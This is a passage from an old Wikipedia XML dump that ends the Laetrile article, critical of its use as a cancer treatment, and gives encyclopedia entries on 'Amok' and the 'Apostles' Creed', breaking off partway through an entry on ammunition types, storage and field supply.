While no [[double-blind]] clinical trials may have been conducted, a clinical trial was carried out in 1982 by the [[Mayo Clinic]] and three other U.S. cancer centers under NCI sponsorship. Laetrile and &quot;metabolic therapy&quot; were administered as recommended by their promoters to 178 patients with advanced cancer for which there was no proven treatment. None were cured or stabilized or had any improvement of cancer-related symptoms. The [[median]] survival rate was about five months. In survivors after seven months, [[tumor]] size had increased. Several patients suffered from [[cyanide]] poisoning.
*[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=7033783&amp;dopt=Abstract Moertel C and others. A clinical trial of amygdalin (Laetrile) in the treatment of human cancer. New England Journal of Medicine 306:201-206, 1982]
&lt;!-- The trial discussed in the paragraph above may be the same as the one in the previous paragraph -- difficult to be sure without references or even dates --&gt;

In [[1974]], the [[American Cancer Society]] officially labelled Laetrile as &quot;quackery,&quot; but even today many American and Canadian cancer patients travel to [[Mexico]] for treatment with the substance, under the auspices of Dr. [[Ernesto Contreras]].  One of these patients was actor [[Steve McQueen]] who died while undergoing treatment in Mexico after developing [[mesothelioma]]. Curiously, Laetrile's foremost advocates within the [[United States]] can be found both on the far left of the political spectrum (e.g., The ''[[Village Voice]]'') and the far right (e.g., The [[John Birch Society]]).

Though it is sometimes sold as &quot;Vitamin B17&quot;, it is not a [[vitamin]], as no disease is associated with a dietary deficiency of Laetrile. The product sold commercially is extracted from [[apricot]] seeds, which are in the same genus (''[[Prunus]]'') as the almond.

==Famous Case in History==
Jason Vale was the nation's leading [[spokesperson]] for the legalization of Laetrile.   He was a national [[arm wrestling]] champion after he was cured of [[kidney]], [[pancreatic]] and [[spleen]] [[cancer]], purportedly by eating [[apricot]] seeds. However, in 2004 he was [http://www.medicalnewstoday.com/medicalnews.php?newsid=9825 convicted] of fraud and sentenced to 63 months in prison for his methods of marketing Laetrile, for defrauding the U.S. government by claiming that he qualified for Legal Aid, and for criminal contempt.  Representatives of the Memorial Sloan-Kettering Cancer Center testified on the side of the [[prosecution]] during Vale's criminal trial.

{{1911}}

== External links ==
*[http://credence.org/testimon/testimonwwc.htm Personal Experiences]
*[http://www.cancer.gov/cancertopics/pdq/cam/laetrile/HealthProfessional/page5 National Cancer Institute - Laetrile]

[[Category:Alternative medicine]]
[[Category:Quackery]]

[[cs:Amygdalin]]
[[de:Amygdalin]]</text>
    </revision>
  </page>
  <page>
    <title>Amok</title>
    <id>3253</id>
    <revision>
      <id>32504129</id>
      <timestamp>2005-12-23T18:03:45Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>wikilink</comment>
      <text xml:space="preserve">:''This article is about the '''amok''' behaviour and state of mind. For other potential meanings see [[Amok (disambiguation)]].''

'''''Amok''''', sometimes spelled '''''amuck''''' and often used as &quot;running amok,&quot; is a [[Malay language|Malay]] word which in that language means to be out of control. 

It is often used in English to refer to the behaviour of someone who, in the grip of strong emotion, obtains a weapon and begins attacking people indiscriminately, often with multiple fatalities. This could be used to describe the [[École Polytechnique Massacre]], for example.  The [[slang]] term [[going postal]] is similar in intent and more common, particularly in North America.  Police describe such an event as a [[spree killing]].

Some sources have identified Malays as having a particular tendency to run amok, making this an example of a [[culture-bound syndrome]], but they are by no means the only people to do so. For example, [[W. W. Skeat]] writes in the ''[[1911 Encyclopedia Britannica]]'': &quot;A Malay will suddenly and apparently without reason rush into the street armed with a [[kris]] or other [[weapon]]s, and slash and cut at everybody he meets till he is killed. These frenzies were formerly regarded as due to sudden insanity. It is now, however, certain that the typical amok is the result of circumstances, such as domestic jealousy or [[gambling]] losses, which render a Malay desperate and weary of his life.  It is, in fact, the Malay equivalent of [[suicide]]. &quot;The act of running amuck is probably due to causes over which the culprit has some amount of control, as the custom has now died out in the British possessions in the peninsula, the offenders probably objecting to being caught and tried in cold blood.&quot;

The observations of Skeat about the Malay race are not unique since [[beserker]] myths and the [[Zulu]] battle trance are two other examples of the tendency of certain groups to work themselves up into a killing frenzy.  The 1911 Webster Encyclopedia comments:

:Though so intimately associated with the Malay there is some ground for believing the word to have an [[Hindi language|Indian]] origin, and the act is certainly far from unknown in [[India|Indian history]].  Some notable cases have occurred among the [[Rajput|Rajputs]].  Thus, in [[1634]], the eldest son of the [[raja]] of [[Jodhpur]] ran amok at the court of [[Shah Jahan]], failing in his attack on the emperor, but killing five of his officials.  During the [[18th century]], again, at [[Hyderabad, Pakistan|Hyderabad]] (Sind), two envoys, sent by the Jodhpur chief in regard to a quarrel between the two states, stabbed the prince and twenty-six of his suite before they themselves fell. 

:In [[Malabar]] there were certain professional assassins known to old travellers as ''Amouchi'' or ''Amuco''. The nearest modern equivalent to these words would seem to be the [[Malay language|Malayalim]] ''Amar-khan'', &quot;a warrior&quot; (from ''amar'', &quot;fight&quot;). The [[Malayalam]] term ''chaver'' applied to these ruffians meant literally those &quot;who devote themselves to death.&quot; In Malabar was a custom by which the [[zamorin]] or king of Calicut had to cut his throat in public when he had reigned twelve years.  In the [[17th century]] a variation in his fate was made.  He had to take his seat, after a great feast lasting twelve days, at a national assembly, surrounded by his armed suite, and it was lawful for anyone to attack him, and if he succeeded in killing him the murderer himself became [[zamorin]] (see Alex.  Hamilton, &quot;A new Account of the East Indies,&quot; in &lt;cite&gt;Pinkerton's Voyages and Travels&lt;/cite&gt;, viii. 374).  In [[1600]] thirty would-be assassins were killed in their attempts.  These men were called ''Amar-khan'', and it has been suggested that their action was &quot;running amok&quot; in the true Malay sense.  Another proposed derivation for ''amouchi'' is [[Sanskrit]] ''amokshya'', &quot;that cannot be loosed,&quot; suggesting that the murderer was bound by a vow, an explanation more than once advanced for the Malay amok; but ''amokshya'' in such a sense is unknown in Malayalim.

[[John Brunner (novelist)|John Brunner]]'s book [[Stand on Zanzibar]] describes a society that is so overcrowded that people running amok (there called ''muckers'') are so common everyone arms themselves (of course making the problem worse).

==See also==
* [[berserker]]
* [[Cúchulainn]]
*Amok: book written by [[Stefan Zweig]] in 1922

==External links==
[[Johannes Grenzfurthner]]'s article ''&quot;Every Five Seconds an Inkjet Printer Dies Somewhere&quot;'' theorizes about the cultural history of 'Amok'.
*[http://www.monochrom.at/amok/ &quot;Every Five Seconds an Inkjet Printer Dies Somewhere&quot;]

{{1911}}

[[Category:Culture-specific syndromes]]

[[da:Amok]]
[[de:Amok]]
[[fr:Amok]]
[[nl:Amok]]</text>
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    <title>Amuck</title>
    <id>3254</id>
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  <page>
    <title>Apostles' Creed</title>
    <id>3255</id>
    <revision>
      <id>41747120</id>
      <timestamp>2006-03-01T13:19:44Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">The '''Apostles' Creed''' (in [[Ecclesiastical Latin|Latin]], ''Symbolum Apostolorum''), is an early statement of [[Christianity|Christian]] belief, possibly from the [[1st century|first]] or [[2nd century|second century]], but more likely post-[[Nicene Creed]] in the early 4th Century AD. The theological specifics of the creed appear to be a refutation of [[Gnosticism]], an early heresy.  The Apostles' [[Creed]] is widely used by a number of [[Christian]] [[religious denomination|denomination]]s for both liturgical and catechetical purposes, most visibly by liturgical churches of Western tradition, including [[Roman Catholic Church|Roman (Latin-rite) Catholic]] churches, [[Lutheranism|Lutheran]] churches, member churches of the [[Anglican Communion]], and [[Western Orthodoxy|Western Orthodox]] denominations. It is also used by evangelical Protestant denominations such as Presbyterians, Methodists, Congregationalists and many Baptists. It is not used by Southern Baptists, who consider themselves to be a non-credal churches. 

Although many Lutheran sources label the Apostles' Creed as &quot;ecumenical&quot;, its use appears to be restricted to churches whose rituals are derived of the Latin rite. The Apostles' Creed holds a special place in Roman Catholic tradition as the &quot;ancient Baptismal symbol of the Church of Rome&quot;.

==Text of the Creed ==
Source: {{cite web
 | title=Symbolum Apostolicum
 | work=Catechismum Catholicae Ecclesiae
 | url = http://www.vatican.va/archive/catechism_lt/p1s1c3a2_lt.htm#SYMBOLUM%20FIDEI
 | accessdate = June 21 | accessyear = 2005
 }}

:Credo in Deum, Patrem omnipotentem, Creatorem caeli et terrae,

:et in Iesum Christum, Filium Eius unicum, Dominum nostrum, qui conceptus est de Spiritu Sancto, natus ex Maria Virgine, passus sub Pontio Pilato, crucifixus, mortuus, et sepultus, descendit ad inferos, tertia die resurrexit a mortuis, ascendit ad caelos, sedet ad dexteram Patris omnipotentis, inde venturus est iudicare vivos et mortuos.

:Credo in Spiritum Sanctum, sanctam Ecclesiam catholicam, sanctorum communionem, remissionem peccatorum, carnis resurrectionem, vitam aeternam.

:Amen

==Ecumenical Translation into English (ICET/ELLC)==
The following translation is believed to be prevalent in those denominations which have adopted modern English liturgical translations. It was authored by a consultation of Catholic and Protestant ecclesiastical communities. See first source for details.

Sources: {{cite web
 | title = Apostles' Creed
 | work = ELLC Texts
 | url = 
http://www.renewingworship.org/resources/ELLC/texts/apostles_creed.html
 | accessdate = June 21 | accessyear = 2005
 }}; {{cite web
 | title = Apostles' Creed
 | work = Catechism of the Catholic Church
 | url = http://www.va/archive/catechism/p1s1c3a2.htm#credo
 | accessdate = June 21 | accessyear = 2005
 }}

:I believe in [[God]], the [[God the Father|Father]] almighty,
:creator of heaven and earth.

:I believe in [[Jesus]] [[Christ]], God's only Son, our [[Lord]].
:He was conceived by the power of the [[Holy Spirit]]
:and born of the [[Mary the mother of Jesus|Virgin Mary]].
:He suffered under [[Pontius Pilate]],
:was [[crucifixion|crucified]], died, and was buried.
:He descended into [[hell]] / to the [[dead]].{{ref_label|inferos|1|1}} 
:On the third day [[Resurrection of Jesus|he rose again]],
:He ascended into [[heaven]].
:He is seated at the right hand of the Father
:and He will come again to judge the living and the dead.

:I believe in the [[Holy Spirit]],
:the holy catholic Church,{{ref_label|catholic Church|2|2}}
:the [[communion of saints]],
:the forgiveness of sins,
:the [[resurrection]] of the body,
:and the life everlasting. Amen.

==Variations in Liturgical Use==
===Translation of ''inferos''===
: {{note_label|inferos|1|1}} The word ''inferos'' is translated in some denominational contexts as ''dead'', as in ''&quot;He descended to the dead.&quot;'' See ''[[Harrowing of Hell|The Harrowing of Hell]]'' for a more detailed discussion of  this part of the creed.

: {{note_label|catholic Church|2|2}} The word ''catholic'' here refers to the root meaning of the word, that is to say &quot;universal&quot;.  Some modern readers may differ in opinion about this phrase referring to the [[Roman Catholic Church]], most notably the only church in existance at the time of this creed's creation, and may substitute it with the word &quot;Christian&quot; and have no fear of incorrectly translating the text into English.

===[[Methodism]]===
The [[United Methodist Church|United Methodists]] commonly incorporate the Apostles' Creed into their worship services.  Many favor this interpretation as [[Poetry|poetically]] elegant.  The version used is  #881 of the [[United Methodist Hymnal]], one of the most popular hymnals and one with a heritage to [[John Wesley]], founder of [[Methodism]].[http://catalystresources.org/issues/272yee.html][http://catalystresources.org/issues/312knight.html]

:I believe in God the Father Almighty,
:maker of heaven and earth; 

:And in Jesus Christ his only Son our Lord:
:who was conceived by the Holy Spirit,
:born of the Virgin Mary,
:suffered under Pontius Pilate,
:was crucified, dead, and buried;
:the third day he rose from the dead;
:he ascended into heaven,
:and sitteth at the right hand of God the Father Almighty;
:from thence he shall come to judge the quick and the dead. 

:I believe in the Holy Spirit,
:the holy catholic church,
:the communion of saints,
:the forgiveness of sins,
:the resurrection of the body,
:and the life everlasting. Amen.

==External links ==
*[http://www.roman-catholic-prayers.com/prayer/apostles_creed.htm The prayer on roman-catholic-prayers.com]

===Anglican===
The [[Book of Common Prayer]] of the [[Church of England]] has the following versions:

:I believe in God, the Father almighty,
:creator of heaven and earth.

:I believe in Jesus Christ, his only Son, our Lord,
:who was conceived by the Holy Spirit,
:born of the Virgin Mary,
:suffered under Pontius Pilate,
:was crucified, died, and was buried;
:he descended to the dead.
:On the third day he rose again;
:he ascended into heaven,
:he is seated at the right hand of the Father,
:and he will come to judge the living and the dead.

:I believe in the Holy Spirit,
:the holy catholic Church,
:the communion of saints,
:the forgiveness of sins,
:the resurrection of the body,
:and the life everlasting. 
:Amen.

and

:I believe in God, the Father almighty,
:maker of heaven and earth;

:And in Jesus Christ his only Son our Lord;
:who was conceived by the Holy Ghost,
:born of the Virgin Mary,
:suffered under Pontius Pilate,
:was crucified, dead, and buried.
:He descended into hell.
:The third day he rose again from the dead.
:He ascended into heaven,
:and sitteth on the right hand of God the Father almighty.
:From thence he shall come to judge the quick and the dead.

:I believe in the Holy Ghost,
:the holy catholic Church,
:the communion of saints,
:the forgiveness of sins,
:the resurrection of the body,
:and the life everlasting.  
:Amen.

==Rites of Baptism in Western Liturgical Christianity==
The liturgical communities in western Christianity which derive their rituals from the [[Roman Missal]], including those particular communities which use the Roman Missal itself (Roman Catholics), the [[Book of Common Prayer]] ([[Anglicans]] / [[Episcopal|Episcopalians]]), the Lutheran Book of Worship ([[Evangelical Lutherans]]), Lutheran Worship ([[LCMS|Missouri-Synod Lutherans]]), and many other derivatives of the Roman Missal in [[English language|English]] and many other languages, use the Apostles' Creed and interrogative variations of it within their similar rites of [[Baptism]], considered by all of these communities to be the first [[sacrament]] of initiation into the Church. 

===Episcopal Church (USA)===
The Episcopal Church uses the Apostles' Creed as a Baptismal Covenant for those who are to receive the Rite of Baptism. Regardless of age, candidates are to be sponsored by parents and/or godparents. Youths able to understand the significance of the Rite may go through the ritual speaking for themselves. Younger children and infants rely on their sponsors to act upon their behalf.

1. The celebrant calls for the candidates for Baptism to be presented.

2. The catechumen or sponsors state their request for Baptism.

3a. If the catechumen is of age, the celebrant will ask him or her if he or she desires Baptism, which the catechumen will state he or she says &quot;I do.&quot;

3b. If the candidate relies on sponsors, the celebrant asks them if they will raise the child in &quot;the Christian faith and life&quot; (ECUSA BCP), and will raise the child through &quot;prayers and witness to grow into the full stature of Christ&quot; to which the parents will state to each, &quot;I will, with God's help.&quot;

4. A series of questions are then asked, to which the reply is always &quot;I renounce them&quot;:

:''Do you renounce Satan and all the spiritual forces of wickedness that rebel against God?''
:''Do you renounce the evil powers of this world which corrupt and destroy the creatures of God?''
:''Do you renounce all sinful desires that draw you from the love of God?''

5. The second half of the query is asked, to which the reply is always &quot;I do&quot;:

:''Do you turn to Jesus Christ and accept him as your Savior?''
:''Do you put your whole trust in his grace and love?''
:''Do you promise to follow and obey him as your Lord?''

6. The Apostle's Creed is then recited, in which is divided into three parts; the celebrant asks whether they believe in the Father, the Son, and the Holy Spirit, to which the Creed is stated in its three divisions in respect to the Three Persons of the Trinity.

===Roman Catholic and Lutheran Rite of Baptism===
An interrogative form of the Apostles' Creed is used in the Rite of Baptism (for both children and adults). The minister of baptism asks the following questions (ICEL, 1974):

:''Do you reject sin so as to live in the freedom of God's children?''
:''Do you reject Satan, father of sin and prince of darkness?''
:''Do you believe in God, the Father almighty, creator of heaven and earth?''
:''Do you believe in Jesus Christ, his only Son, our Lord, who was born of the Virgin Mary, was crucified, died, and was buried, rose from the dead, an is now seated at the right hand of the Father?''
:''Do you believe in the Holy Spirit, the holy Catholic Church, the communion of saints, the forgiveness of sins, the resurrection of the body, and life everlasting?''

To each, the catechumen, or, in the case of an infant, the parents and sponsor(s) (godparent(s)) in his or her place, answers &quot;I do.&quot;

===Roman Catholic Profession of Faith at Mass===
Although the canonical creed is in the first person singular, the rubrics of the Roman Missal require that when it is recited in the context of the Sacred Liturgy it is expressed in the first person plural. The Apostles' Creed is specified for use in Masses with children or for other pastoral reasons approved by the relevant prelate (ICEL, 1974); in other circumstances, the [[Nicene Creed|Niceno-Constantinopolitan Creed]] (with the added ''[[Filioque clause|filioque]]'') is used.

==Origin of the Creed==
Many hypotheses exist concerning the date and nature of the origin of the Apostles' Creed. There is no Catholic dogmatic teaching on its origin. One legend proposes that the creed was originally formulated in twelve articles, each written by an Apostle after the Pentecost under the inspiration of the Holy Spirit. Some historians place the origin of the Apostles' Creed as late as fifth century Gaul. The earliest known concrete historical evidence of the creed's existence as it is currently titled (Symbolum Apostolicum) is a letter of the Council of Milan (390 AD) to Pope Siricius (here in English):
::''&quot;If you credit not the teachings of the priests . . . let credit at least be given to the Symbol of the Apostles which the Roman Church always preserves and maintains inviolate.&quot;''

The public domain ''Catholic Encyclopedia'' contains a [http://www.newadvent.org/cathen/01629a.htm detailed discussion] of the origin of the Apostles' Creed.

==Theological issues==
It does not address some of the [[Christology|Christological]] issues associated with the later [[Nicene Creed]] and other Christian [[Creed]]s.  In particular, it was acceptable to many [[Arianism|Arian]]s and [[Unitarianism|Unitarian]]s.

==See also==
*[[Nicene Creed]]
*[[Athanasian Creed]]
*[[Chalcedonian Creed]]
*[[Roman Missal]]
*[[Book of Common Prayer]]
*[[Lutheran Book of Worship]]
*[[Catholic Encyclopedia]]

==References==
* {{cite web
 | author = English Language Liturgical Consultation
 | title = Apostles' Creed
 | publisher = Evangelical Lutheran Church in America
 | year = 2004
 | work = ELLC Texts
 | url = http://www.renewingworship.org/resources/ELLC/texts/apostles_creed.html
 | accessdate = June 21 | accessyear = 2005
 }}
* {{cite web
 | title = Apostles' Creed
 | work = Catechism of the Catholic Church
 | url = http://www.va/archive/catechism/p1s1c3a2.htm#credo
 | accessdate = June 21 | accessyear = 2005
 }}
* {{cite book
 | author = International Commission on English in the Liturgy ''et al''.
 | title = Roman Missal…
 | publisher = HarperCollins
 | year = 1974
 | id = ISBN 0005995051
 }}

[[Category:Christian Confessions, Creeds and Statements]]
[[Category:Ancient Roman Christianity]]

[[af:Apostoliese Geloofsbelydenis]]
[[cs:Apoštolské vyznání]]
[[da:Den apostolske trosbekendelse]]
[[de:Apostolisches Glaubensbekenntnis]]
[[es:Símbolo de los Apóstoles]]
[[et:Apostellik usutunnistus]]
[[fi:Apostolinen uskontunnustus]]
[[fr:Symbole des apôtres]]
[[id:Pengakuan Iman Rasuli]]
[[ja:使徒信条]]
[[ko:사도신경]]
[[la:Symbolum Apostolorum]]
[[ms:Pengakuan Iman Rasuli]]
[[nl:Apostolische geloofsbelijdenis]]
[[no:Den apostoliske trosbekjennelse]]
[[pl:Skład Apostolski]]
[[pt:Credo dos Apóstolos]]
[[sv:Apostoliska trosbekännelsen]]
[[zh:使徒信經]]</text>
    </revision>
  </page>
  <page>
    <title>Ammunition</title>
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      <timestamp>2006-03-02T05:20:11Z</timestamp>
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        <ip>136.165.84.255</ip>
      </contributor>
      <comment>/* Current small arms ammunition */</comment>
      <text xml:space="preserve">[[Image:boxes_of_ammunition_iraq.jpg|thumb|300px|Boxes of ammunition clog a warehouse in Baghdad]]

'''Ammunition''' is a generic [[military]] term meaning (the assembly of) a [[projectile]] and its [[gunpowder|propellant]]. It is derived through [[French language|French]] from the [[Latin]] ''munire'' (to provide). See also [[munition]].

== Glossary ==
*Small projectiles, like those fired from [[rifle]]s and [[handgun]]s (collectively known as small arms), are called [[bullet]]s.
*A &quot;round&quot; is a unit of ammunition per person firing; for small arms this is the combination of bullet, propellant, primer and cartridge case.
*Large [[caliber]] [[gun]]s often fire explosive-filled projectiles known as [[shell (projectile)|shell]]s, the equivalent non-explosive projectile is a ''shot'' (see [[artillery]]).  
*Large numbers of small projectiles intended to be fired all at once in a single discharge are also called shot; hand-held guns designed for this type of ammunition are generally known as [[shotgun]]s. 
*[[Dud]]s are ammunition that fail to work as intended.

== General information ==
[[Image:cartridges.jpg|thumb|[[5.56 mm caliber|5.56 mm]] (223 Remington) ammunition]]
The design of the ammunition is determined by its purpose; anti-personnel ammunition is often designed to break up or tumble inside the target, in order to maximize the damage done. Anti-personnel shells contain [[shrapnel]] and are designed to explode in mid-air, so its fragments will spread over a large area. Armor-piercing ammunition tends to be hard, sharp, and narrow, often with [[lubrication]]. Incendiary projectiles include a material such as [[phosphorus|white phosphorus]] which burns fiercely. [[Tracer ammunition|Tracer]] ammunition emits light as it travels, allowing the gunner to see the path of bullets in flight while using a [[machine gun]].

Popular types of military rifle and [[machine-gun]] ammunition include the [[5.45 mm caliber|5.45 mm]], [[5.56 mm caliber|5.56 mm]], and [[7.62 mm caliber|7.62 mm]]. [[tank|Main battle tanks]] use [[KE-penetrator]]s to combat other MBTs and [[armoured fighting vehicle]]s, and HE-Frag (High Explosive-Fragmentation) for [[soft target]]s such as [[infantry]]. 

Ammunition, particularly that of small arms, is specified by an extremely wide range of designations derived from metric and English measurements, commercial firms' private systems, and the different requirements of armies of different countries. For example, the same round in the US Army was termed .30 (inch) but in the British Army was termed .303 (inch) during the First and Second World Wars; although there was at the time some difference in the inches used by the two countries, that was not enough to make for the difference. German firms in the late twentieth century have decided to make &quot;all-metric&quot; ammunition, a refinement of existing designs. 

[[Match-grade]] ammunition is of exceptionally good quality, intended for target shooting competition.

The components of ammunition intended for rifles and [[ordnance]] may be divided into these categories:
* [[explosive|explosives]] and [[gunpowder|propellants]]
* [[projectile]]s of all kinds
* [[cartridge (weaponry)|cartridges]]

== Storage ==
=== Historical (circa World War I) ===
[[Image:M60andsoldierwithammoinnam.jpg|thumb|250px|A soldier mans an [[M60 machine gun]], linked 7.62 mm rounds are draped over the tree]]

These general conditions apply to the storage of ammunition in [[fortress]]es. Here the positions for the [[ammunition dump|magazine]] and ammunition stores are so chosen as to afford the best means of protection from an enemy's fire. Huge earth [[parapet]]s cover these buildings, which are further strengthened, where possible, by [[traverse]]s protecting the entrances. For the purpose of filling, emptying, and examining [[cannon]] cartridges and shell, a [[laboratory]] is generally provided at some distance from the magazine. The various stores for explosives are classified into those under magazine conditions (such as magazines, laboratories, and cartridge stores) and those with which these restrictions need not be observed (such as ammunition and shell stores). The interior walls of a magazine are lined, and the floors laid so that there may be no exposed [[iron]] or [[steel]]. At the entrance, there is a lobby or barrier, inside which persons about to enter the magazine change their clothes for a special suit, and their boots for a pair made without nails. In an ammunition or shell store these precautions need not be taken except where the shell store and the adjacent cartridge store have a common entrance; persons entering may do so in their ordinary clothes. A large work may have a main magazine and several subsidiary magazines, from which the
stock of cartridges is renewed in the cartridge stores attached to each group of guns or in the expense cartridge stores and cartridge recesses. The same applies to main ammunition stores which supply the shell stores, expense stores, and recesses.

The supply of ammunition are either for [[gun]]s forming the movable armament or for guns placed in permanent positions. The movable armament will consist of guns and [[howitzer]]s of small and medium caliber, and it is necessary to arrange suitable expense cartridge stores and shell stores close to the available positions. They can generally be constructed to form part of the permanent work in the projected face of traverses or other strong formations, and should be arranged for a twenty-four hour supply of ammunition. These stores are refilled from the main magazine every night under cover of darkness. Light [[railway]]s join the various positions. The guns mounted in permanent emplacements are divided into groups of two or three guns each, and usually each group will require but one calibre of ammunition. A cartridge store, shell store and a general store, all well ventilated, are arranged for the especial service of such a group of guns. In the cartridge store the cylinders containing the cartridges are so placed and labeled that the required charge, whether reduced or full, can be immediately selected.

In the shell store, the common shell are separated from the armour-piercing or [[shrapnel]]. Each nature of projectile is painted in a distinctive manner to render [[identification]] easy. The fuzes and tubes are placed in the general store with the tools and accessories belonging to the guns. The gun group is distinguished by some letter and the guns of the group by numerals; thus &lt;nowiki&gt;A/1&lt;/nowiki&gt; is number one gun of group A. The magazine and shell stores are also indicated by the group letter, and so that mistakes, even by those unaccustomed to the fort, may be avoided, the passages are pointed out by finger posts and direction boards. For the immediate service of each gun, a few cartridges and projectiles are stored in small receptacles (called cartridge and shell recesses respectively) built in the parapet as near the gun position as practicable. In some cases, a limited number of projectiles may be placed close underneath the parapet if this is conveniently situated near the [[breech]] of the gun and not exposed to [[hostile fire]].

In order to supply the ammunition sufficiently rapidly for the efficient service of modern guns, [[hydraulic]], [[electric]], or hand-power, [[hoist]]s are employed to raise the cartridges and shell from the cartridge store and shell store to the gun floor, whence they are transferred to a derrick or loading tray attached to the mounting for loading the gun.

Projectiles for [[British ordnance terms#BL|BL]] guns above 6 inch (152 mm) calibre are stored in shell stores ready filled and fuzed standing on their bases, except shrapnel and high-explosive shell, which are fuzed only when about to be used. Smaller sizes of shells are laid on their sides in layers, each layer pointing in the opposite direction to the one below to prevent [[injury]] to the driving bands. Cartridges are stored in [[brass]] corrugated cases or in [[zinc]] cylinders. The corrugated cases are stacked in layers in the magazine with the mouth of the case towards a passage between the stacks, so that it can be opened and the cartridges removed and transferred to a leather case when required for transport to the gun. Cylinders are stacked, when possible, vertically one above the other. The charges are sent to the gun in these cylinders, and provision is made for the rapid removal of the empty cylinders.

The number and nature of rounds allotted to any fortress depends on questions of [[policy]] and location, the degrees of resistance the nature of the works and personnel could reasonably be expected to give, and finally on the nature of the armament. That is to say, for guns of large calibre three hundred to four hundred rounds per gun might be sufficient, while for light QF guns it might amount to one thousand or more rounds per gun.

=== Modern Era ===
Modern ammunition includes not only shells for tube artillery and [[mortar (weapon)|mortar]]s, but increasingly aircraft-delivered [[bombs]], [[smart bombs]], [[rockets]] and other explosive-bearing projectiles.  The destructive power and lethality of these systems is difficult to appreciate.  A single [[cluster bomb]], deliverable by any of the above systems, can sow grenade-sized bomblets across a 100 yard (90m) [[football]]-sized field in sufficient density to kill any persons present, even in trenches and wearing body armor.

See [[ammo dump]] for discussion of modern ammunition storage facilities.

== Supply of ammunition in the field ==
With every successive improvement in military arms there has necessarily been a corresponding modification in the method of supplying ammunition and in the quantity required to be supplied. When hand-to-hand weapons were the principal implements of battle, there was no such need. But in the [[Middle Ages]], the [[archery|archers]] and crossbowmen had to replenish the shafts and bolts expended in action, and during a [[siege]], [[rock (geology)|stone]] bullets of great size, as well as heavy [[arrow]]s, were freely used. The [[missile]]s of those days were however interchangeable, and at the [[battle of Towton]] ([[1461]]), part of the [[War of the Roses]], the commander of the [[York]]ist archers induced the enemy to fire arrows in order to obtain them for firing back. This interchangeability of war material was even possible for many centuries after the invention of firearms. At the [[battle of Liegnitz]] ([[1760]]) a general officer was specially commissioned by [[Frederick the Great]] to pack up and send away, for [[Prussia]]n use, all the [[musket]]s and ammunition left on the field of battle by the defeated [[Austria]]ns.

Captured material is utilized whenever possible at the present time. In the [[First Sino-Japanese War]], the [[Japan]]ese went so far as to prepare beforehand spare parts for the [[China|Chinese]] guns they expected to capture. Though it is rare to find a modern army trusting to captures for arms and ammunition; almost the only instance of the practice is that of the [[Chilean Civil War]] ([[1891]]) in which the army of one belligerent was almost totally dependent upon this means of replenishing stores of arms and cartridges. But what was possible with weapons of comparatively
rough make is no longer to be thought of in the case of modern arms.

The [[Lee-Metford]] bullet of 0.303 inch (7.7 mm) diameter can scarcely be used in a rifle of smaller caliber, and in general the minute [[accuracy]] of parts in modern weapons makes interchangeability almost impossible. Further, owing to the rapidity with which, in modern arms, ammunition is expended, and the fact that, as battles are fought at longer ranges than formerly, more shots have to be fired in order to inflict heavy losses, it is necessary that the reserves of ammunition should be as close as possible to the troops who have to use them. This was always the case even with the older firearms, as, owing to the great weight of the ammunition, the [[soldier]] could only carry a few rounds. Nevertheless it is only within the past seventy years that there has grown up the elaborate system of ammunition supply which now prevails in all regularly organized armies. That which is described in the present article is the [[United Kingdom|British]], as laid down in the official [[Combined Training]] ([[1905]]) and other manuals. The new system designed for stronger divisions, and others, vary only in details and nomenclature.

==Ammunition for infantry==
Ammunition for infantry refers to the [[ammunition]] carried by a typical foot ([[infantry]]) [[soldier]]. Someone serving in the infantry generally carries, in pouches, [[bandolier]]s, etc., one hundred rounds of [[small arms|small-arms]] ammunition (S.A.A.), and it is usual to supplement this,
when an action is imminent, from the regimental reserve (see below).
Like any trade, the proper tools are necessary for the task at hand. Infantry need to be provided with the weapons and ammunition to deal with the expected threat, be it another foot soldier, a mounted warrior, armoured vehicle or aircraft.

===History===
Every reduction in the [[caliber]] (size) of the [[rifle|rifle's]] ammunition means an increase in the number of rounds carried. One hundred rounds of the [[Martini-Henry]] ammunition
weighed 10 pounds 10 ounces (4.8 kg); the same weight gives 155 rounds of 0.303 in (7.7 mm) ammunition and at 0.256 in (6.5 mm) the number of rounds is still greater. 
The regimental reserves were historically carried in six S.A.A. carts and on eight [[pack animal]]s. The six carts are distributed, one as reserve to the
machine gun, three as reserve to the battalion itself, and two as part of the brigade reserve, which consists therefore of eight carts. The brigade reserve communicates directly with the brigade ammunition columns of the [[artillery]] (see below). The eight pack animals follow the eight companies of their battalion. These, with two out of the three battalion carts, endeavour to keep close to the firing line, the remaining cart
being with the reserve companies. Men also are employed as carriers, and this duty is so onerous that picked men only are
detailed. Gallantry displayed in bringing up ammunition is considered indeed to justify special rewards. The amount of
S.A.A. in regimental charge is 100 rounds in the possession of each soldier, 2000 to 2200 on each pack animal, and 16,000
to 17,600 in each of four carts, with, in addition, about 4000 rounds with the machine gun and 16,000 more in the fifth cart.

===Current small arms ammunition===
Currently, every army of an internationally recognized country (except those who rely on others for defense, such as [[Andorra]], and those that do not have a true army, such as the [[Vatican City]]) has adopted [[assault rifle]]s as the main infantry weapon.

In western ([[NATO]]) forces, the [[7.62 NATO|7.62 mm NATO]] round has been mostly replaced by the lighter [[5.56 x 45 mm NATO|5.56 mm NATO]] round, which is better suited for automatic fire than the larger round and each soldier can carry more ammunition. The larger [[caliber]] ammunition is still retained where range and weight of shot is important eg [[machine gun]]s and [[sniper rifle]]s.

Other nations, especially forces with former ties to the [[Soviet Union]] tend to use rifles related to or devleoped from the [[AK-47]] with similar sized rounds to the NATO ones.

=== Anti-tank ===
